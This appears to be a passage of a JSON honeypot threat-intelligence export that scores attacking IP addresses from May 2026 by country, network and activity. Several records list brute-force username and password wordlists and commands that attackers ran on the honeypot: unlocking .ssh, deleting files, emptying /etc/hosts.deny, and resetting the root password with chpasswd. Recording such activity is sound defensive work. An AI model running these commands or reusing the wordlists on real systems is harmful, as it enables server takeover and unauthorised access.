      "asn": 27696,
      "as_org": "LIBERTY NETWORKS HONDURAS, SOCIEDAD DE RESPONSABILIDAD LIMITADA",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T04:35:53.779000+00:00",
        "last_seen_30d": "2026-05-12T04:39:30.254000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "185.139.4.200": {
      "attack_count": 2,
      "first_seen": "2026-05-03T04:17:15.411Z",
      "last_seen": "2026-05-03T04:17:28.102Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Albania",
      "country_code": "AL",
      "city": "Shkod\u00ebr",
      "asn": 57388,
      "as_org": "I.B.C - Telecom Sh.p.k.",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T04:17:15.411000+00:00",
        "last_seen_30d": "2026-05-03T04:18:38.388000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "186.247.88.191": {
      "attack_count": 2,
      "first_seen": "2026-05-02T20:13:20.758Z",
      "last_seen": "2026-05-02T20:13:33.596Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Salvador",
      "asn": 7738,
      "as_org": "V tal",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T20:13:20.758000+00:00",
        "last_seen_30d": "2026-05-02T20:14:40.569000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "190.140.114.1": {
      "attack_count": 2,
      "first_seen": "2026-05-04T19:50:24.053Z",
      "last_seen": "2026-05-04T19:50:37.173Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Panama",
      "country_code": "PA",
      "city": "Panama City",
      "asn": 18809,
      "as_org": "Cable Onda",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T19:50:24.053000+00:00",
        "last_seen_30d": "2026-05-04T19:52:17.690000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "218.159.8.97": {
      "attack_count": 2,
      "first_seen": "2026-05-10T15:22:12.742Z",
      "last_seen": "2026-05-10T15:22:26.214Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Cheongju-si",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T15:22:12.742000+00:00",
        "last_seen_30d": "2026-05-10T15:23:27.489000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "36.27.150.205": {
      "attack_count": 2,
      "first_seen": "2026-05-11T08:28:31.565Z",
      "last_seen": "2026-05-11T08:28:44.456Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T08:28:31.565000+00:00",
        "last_seen_30d": "2026-05-11T08:29:54.811000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "36.68.54.111": {
      "attack_count": 2,
      "first_seen": "2026-05-05T15:39:23.860Z",
      "last_seen": "2026-05-05T15:39:36.220Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Pekalongan",
      "asn": 7713,
      "as_org": "PT Telekomunikasi Indonesia",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T15:39:23.860000+00:00",
        "last_seen_30d": "2026-05-05T15:40:37.264000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "36.88.136.42": {
      "attack_count": 2,
      "first_seen": "2026-05-31T17:54:05.219Z",
      "last_seen": "2026-05-31T17:54:18.372Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "North Jakarta",
      "asn": 7713,
      "as_org": "PT Telekomunikasi Indonesia",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T17:54:05.219000+00:00",
        "last_seen_30d": "2026-05-31T17:55:28.264000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "38.172.162.20": {
      "attack_count": 2,
      "first_seen": "2026-05-06T19:30:46.830Z",
      "last_seen": "2026-05-06T19:32:46.832Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Barquisimeto",
      "asn": 270026,
      "as_org": "RED SERVITEL, CA",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T19:30:46.830000+00:00",
        "last_seen_30d": "2026-05-06T19:33:51.618000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "41.60.247.160": {
      "attack_count": 2,
      "first_seen": "2026-05-14T12:32:22.885Z",
      "last_seen": "2026-05-14T12:32:36.067Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Kenya",
      "country_code": "KE",
      "city": "Nairobi",
      "asn": 30844,
      "as_org": "Liquid Telecommunications Ltd",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T12:32:22.885000+00:00",
        "last_seen_30d": "2026-05-14T12:33:41.840000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "5.193.211.232": {
      "attack_count": 2,
      "first_seen": "2026-05-25T05:18:42.100Z",
      "last_seen": "2026-05-25T05:18:45.717Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Arab Emirates",
      "country_code": "AE",
      "city": "Dubai",
      "asn": 5384,
      "as_org": "Emirates Telecommunications Group Company (etisalat Group) Pjsc",
      "threat_score": 17.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T05:18:42.100000+00:00",
        "last_seen_30d": "2026-05-26T12:51:45.411000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "77.247.88.83": {
      "attack_count": 2,
      "first_seen": "2026-05-22T11:43:46.225Z",
      "last_seen": "2026-05-22T11:44:10.960Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Albania",
      "country_code": "AL",
      "city": "Tirana",
      "asn": 216046,
      "as_org": "Tele.Co.Albania SHPK",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T11:43:46.225000+00:00",
        "last_seen_30d": "2026-05-22T11:45:11.864000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "8.219.84.81": {
      "attack_count": 2,
      "first_seen": "2026-05-20T16:32:39.289Z",
      "last_seen": "2026-05-20T16:33:10.114Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 11.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T16:32:39.289000+00:00",
        "last_seen_30d": "2026-05-20T16:34:12.064000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "91.231.89.77": {
      "attack_count": 2,
      "first_seen": "2026-05-15T23:56:15.869Z",
      "last_seen": "2026-05-15T23:56:26.205Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 85.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.0,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 80,
        "days_active_30d": 29,
        "ports_targeted_30d": 30,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-02T06:16:11+00:00",
        "last_seen_30d": "2026-05-30T11:15:32.323000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 48,
        "Honeytrap": 28,
        "Cowrie": 2,
        "Dicompot": 1,
        "Honeyaml": 1
      }
    },
    "95.165.79.86": {
      "attack_count": 2,
      "first_seen": "2026-05-15T04:08:38.939Z",
      "last_seen": "2026-05-15T04:10:38.940Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Moscow",
      "asn": 25513,
      "as_org": "PJSC Moscow city telephone network",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T04:08:38.939000+00:00",
        "last_seen_30d": "2026-05-15T04:21:20.300000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "141.98.11.83": {
      "attack_count": 14342,
      "first_seen": "2026-05-02T00:09:53.783Z",
      "last_seen": "2026-05-19T18:00:18.222Z",
      "sessions": 3397,
      "ports": [],
      "usernames_attempted": [
        "root",
        "dell",
        "user",
        "test",
        "oracle",
        "ubuntu",
        "mysql",
        "postgres",
        "guest",
        "nagios",
        "testuser",
        "admin",
        "apache",
        "deploy",
        "hadoop",
        "iexcel001",
        "potok",
        "sander",
        "server",
        "tomcat"
      ],
      "passwords_attempted": [
        "123456",
        "1234",
        "111111",
        "123",
        "666666",
        "pass",
        "",
        "1",
        "222222",
        "321",
        "0",
        "12345",
        "123qwe",
        "333333",
        "password",
        "q1w2e3",
        "123321",
        "12345678",
        "321123",
        "Test@123"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m",
        "cat /proc/cpuinfo",
        "dmesg | grep irtual",
        "dmidecode | grep Vendor | head -n 1",
        "dmidecode|grep Vendor|head -n 1",
        "free -m",
        "lspci | grep irti",
        "ps -x",
        "uname -a"
      ],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.success",
        "cowrie.client.size"
      ],
      "country": "Lithuania",
      "country_code": "LT",
      "city": "Vilnius",
      "asn": 209605,
      "as_org": "UAB Host Baltic",
      "threat_score": 74.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 23.3,
        "diversity": 6,
        "spread": 20,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 22279,
        "days_active_30d": 28,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T00:00:43.783000+00:00",
        "last_seen_30d": "2026-05-29T22:43:45.621000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14342,
        "Suricata": 7931,
        "H0neytr4p": 3,
        "Tanner": 3
      }
    },
    "80.94.92.184": {
      "attack_count": 3071,
      "first_seen": "2026-05-02T02:46:04.069Z",
      "last_seen": "2026-05-31T12:49:46.086Z",
      "sessions": 615,
      "ports": [],
      "usernames_attempted": [
        "solv",
        "solana",
        "ubuntu",
        "sol",
        "banxgg",
        "ethereum"
      ],
      "passwords_attempted": [
        "123456",
        "solana",
        "12345678",
        "solv",
        "1234567890",
        "sol",
        "1",
        "12",
        "123",
        "123321",
        "1234",
        "12345",
        "123456.cn",
        "1234567",
        "123456789",
        "123@",
        "Solana",
        "abc123",
        "banx",
        "banxgg"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 67.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 4650,
        "days_active_30d": 30,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T02:39:09.755000+00:00",
        "last_seen_30d": "2026-05-31T12:50:53.521000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3071,
        "Suricata": 1579
      }
    },
    "102.88.137.145": {
      "attack_count": 749,
      "first_seen": "2026-05-06T03:16:59.386Z",
      "last_seen": "2026-05-23T22:32:04.405Z",
      "sessions": 110,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "admin",
        "ftpuser",
        "administrador",
        "amir",
        "deploy",
        "mysql",
        "postgres",
        "testuser",
        "user",
        "user4",
        "ali",
        "alireza",
        "apache",
        "baba",
        "botuser",
        "brengoziscute",
        "controlm"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "P@ssw0rd",
        "admin123",
        "123",
        "admin",
        "linux123",
        "!@#$%^&",
        "!QAZxsw23edc",
        "0day.today",
        "11",
        "123123",
        "1234!@#$",
        "123456abcABC",
        "123456lL",
        "123456qQ",
        "1234rewq",
        "123ftpuser123",
        "123qwe"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1q2w3e\\nFVrdkUaKq9qc\\nFVrdkUaKq9qc\\n\"|passwd",
        "echo \"root:CEK3919zHFe4\"|chpasswd|bash",
        "echo \"root:l7ug4hpiytva\"|chpasswd|bash",
        "echo -e \"1q2w3e\\nFVrdkUaKq9qc\\nFVrdkUaKq9qc\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Nigeria",
      "country_code": "NG",
      "city": "Lagos",
      "asn": 29465,
      "as_org": "MTN NIGERIA Communication limited",
      "threat_score": 41.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30.0,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 996,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T03:16:59.386000+00:00",
        "last_seen_30d": "2026-05-23T22:33:10.650000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 749,
        "Suricata": 247
      }
    },
    "152.32.218.149": {
      "attack_count": 675,
      "first_seen": "2026-05-03T21:30:35.819Z",
      "last_seen": "2026-05-30T22:14:52.654Z",
      "sessions": 92,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "cloud",
        "curl",
        "systemd",
        "user",
        "ali",
        "ansible",
        "anything",
        "bartek",
        "checker",
        "ddev",
        "deploy",
        "frappe",
        "ftpuser",
        "guest",
        "helen",
        "john",
        "logan"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "123",
        "fjbdfdjkdsfs541544AA@@",
        "00000000",
        "111111",
        "123123.com",
        "12341234",
        "12345678",
        "1234567890qwerty",
        "123456Fy",
        "123456ddd",
        "123abc",
        "123abc!",
        "123qwe123",
        "159159",
        "1Q2w3e4r",
        "1q2w3e4r!!",
        "1qaz@WSX1"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:Gm7mS4sikgP1\"|chpasswd|bash",
        "echo \"root:HuOI1MVomrG0\"|chpasswd|bash",
        "echo \"welltech12\\nH13jeOJaki6m\\nH13jeOJaki6m\\n\"|passwd",
        "echo -e \"welltech12\\nH13jeOJaki6m\\nH13jeOJaki6m\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 62.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 29.5,
        "persistence": 23.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 885,
        "days_active_30d": 28,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T21:30:35.819000+00:00",
        "last_seen_30d": "2026-05-30T22:15:55.135000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 675,
        "Suricata": 210
      }
    },
    "27.79.46.114": {
      "attack_count": 420,
      "first_seen": "2026-05-07T16:56:29.952Z",
      "last_seen": "2026-05-07T17:32:19.117Z",
      "sessions": 84,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "test",
        "developer",
        "support",
        "1234",
        "123456",
        "am",
        "ashish",
        "auto",
        "belkinstyle",
        "btf",
        "cisco",
        "client",
        "config",
        "cpanel",
        "db2inst2",
        "demo",
        "dubai",
        "ftp_zsd"
      ],
      "passwords_attempted": [
        "123456",
        "1234",
        "admin",
        "12345",
        "password",
        "039715582364317",
        "0l0ctyQh243O63uD",
        "1",
        "112233",
        "12345678",
        "123456789",
        "1234567890%*()",
        "321start",
        "72b1bd75ac87852a",
        "72ca06",
        "OkwKcECs8qJP2Z",
        "P@ssw0rd",
        "abc123",
        "abcdefg",
        "admin1"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 8.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 597,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T16:56:29.952000+00:00",
        "last_seen_30d": "2026-05-07T17:33:19.300000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 420,
        "Suricata": 177
      }
    },
    "2.57.122.99": {
      "attack_count": 416,
      "first_seen": "2026-05-20T23:19:48.911Z",
      "last_seen": "2026-05-27T05:00:46.371Z",
      "sessions": 208,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 41.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.8,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 763,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T23:19:48.911000+00:00",
        "last_seen_30d": "2026-05-27T19:47:16.640000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 416,
        "Suricata": 347
      }
    },
    "103.107.60.45": {
      "attack_count": 373,
      "first_seen": "2026-05-17T11:49:55.973Z",
      "last_seen": "2026-05-17T12:16:48.548Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "postgres",
        "es",
        "sangoma"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!Q2w3e4r5t",
        "12345!",
        "123qaz!@#",
        "Abc@111111",
        "Cq123456",
        "Hy@123456",
        "Itsemoemo2025@Washere2025",
        "Passwort123",
        "Ql123456",
        "Qwe123456.",
        "Qweqwe123",
        "a1",
        "aaa111222",
        "aaa123321",
        "admin123456@",
        "asd123,./",
        "es",
        "postgres@123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"postgres@123\\nMsZ7zuzA8LWr\\nMsZ7zuzA8LWr\\n\"|passwd",
        "echo \"root:7gOTRNJHRYov\"|chpasswd|bash",
        "echo \"root:FG4n5z6u9v1o\"|chpasswd|bash",
